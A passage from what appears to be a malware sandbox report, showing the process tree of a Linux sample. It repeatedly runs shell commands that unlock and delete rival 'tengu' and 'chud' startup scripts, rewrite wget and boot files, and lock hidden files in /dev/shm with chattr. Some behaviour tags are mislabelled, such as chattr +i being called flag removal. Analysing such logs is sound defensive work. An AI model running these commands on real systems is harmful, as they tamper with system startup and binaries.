                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:887
                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:888
                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:889
                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:890
                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:891
                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                    PID:892
                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:893
                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:894
                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:895
                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:896
                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:897
                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:898
                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:899
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                    PID:900
                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                  PID:1061
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                    PID:1062
                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1063
                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1064
                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:1065
                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:1066
                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:1067
                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                            PID:1068
                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:1069
                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:1070
                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:1071
                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:1072
                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1073
                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1074
                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1075
                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                            PID:1078
                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1159
                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                              PID:1160
                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:1161
                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:1162
                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1163
                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1164
                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1165
                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                      PID:1166
                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:1167
                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:1168
                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:1169
                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1170
                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:1171
                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:1172
                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1173
                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                      PID:1174
                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                    PID:1273
                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                      chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                      PID:1274
                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:1275
                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:1276
                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:1277
                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:1278
                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1279
                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                                                                                                                              PID:1280
                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:1281
                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                  rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:1282
                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                    rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:1283
                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                      rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:1284
                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                        rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:1285
                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                          rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:1286
                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                          sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1287
                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                              chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                              PID:1288
                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                            PID:1383
                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1384
                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:1385
                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:1386
                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1387
                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1388
                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:1389
                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                        PID:1390
                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1391
                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:1392
                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:1393
                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:1394
                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:1395
                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:1396
                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1397
                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                        PID:1398
                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                      PID:1485
                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                        PID:1486
                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:1487
                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:1488
                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:1489
                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:1490
                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:1491
                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                PID:1492
                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:1493
                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
